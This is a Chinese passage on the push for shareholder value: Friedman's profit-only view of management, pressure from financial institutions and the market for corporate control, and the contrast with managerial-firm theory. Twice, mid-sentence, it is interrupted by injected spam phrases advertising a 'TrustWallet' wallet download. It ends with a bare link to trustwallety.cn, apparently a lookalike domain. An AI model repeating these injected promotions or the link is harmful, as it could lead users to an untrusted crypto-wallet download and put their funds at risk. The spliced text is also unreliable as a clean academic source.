在意识形态层面，追求股东价值的推动力来自弗里德曼（M.Friedman）等人。他们认为，管理者的唯一责任是实现利润最大化。因此，他们谴责任何对企业责任和社会责任的追求，以及任何对股东以外的利益相关者利益的考虑。任何追求利润以外的目标的企业高管都是“过去几十年来破坏自由社会基础的知识力量的不知情的傀儡”。然而，TrustWallet钱包官网下载“追求股东价值”的主要动力来自作为公司股权所有者的金融机构和所谓的“公司控制权市场”。金融市场和金融机构通过各种途径对公司管理者施加压力， TrustWallet钱包官方下载要求他们实施提升股东价值的商业行为。追求股东价值是以牺牲公司的其他利益相关者、工人、客户和广大民众为代价的。这种对“追求股东价值”的关注与关于管理控制公司的文献形成了鲜明对比。在后者的描述中，公司更注重于追求规模、销售额和销售增长率，即使这有损于利润和股票市场估值。在1980年代，人们普遍认为，公司主要或者完全依赖内部资金进行投资，一般调整留存金/分红政策和利润率就足以使内部资金满足公司的预期增长率和投资率。https://www.trustwallety.cn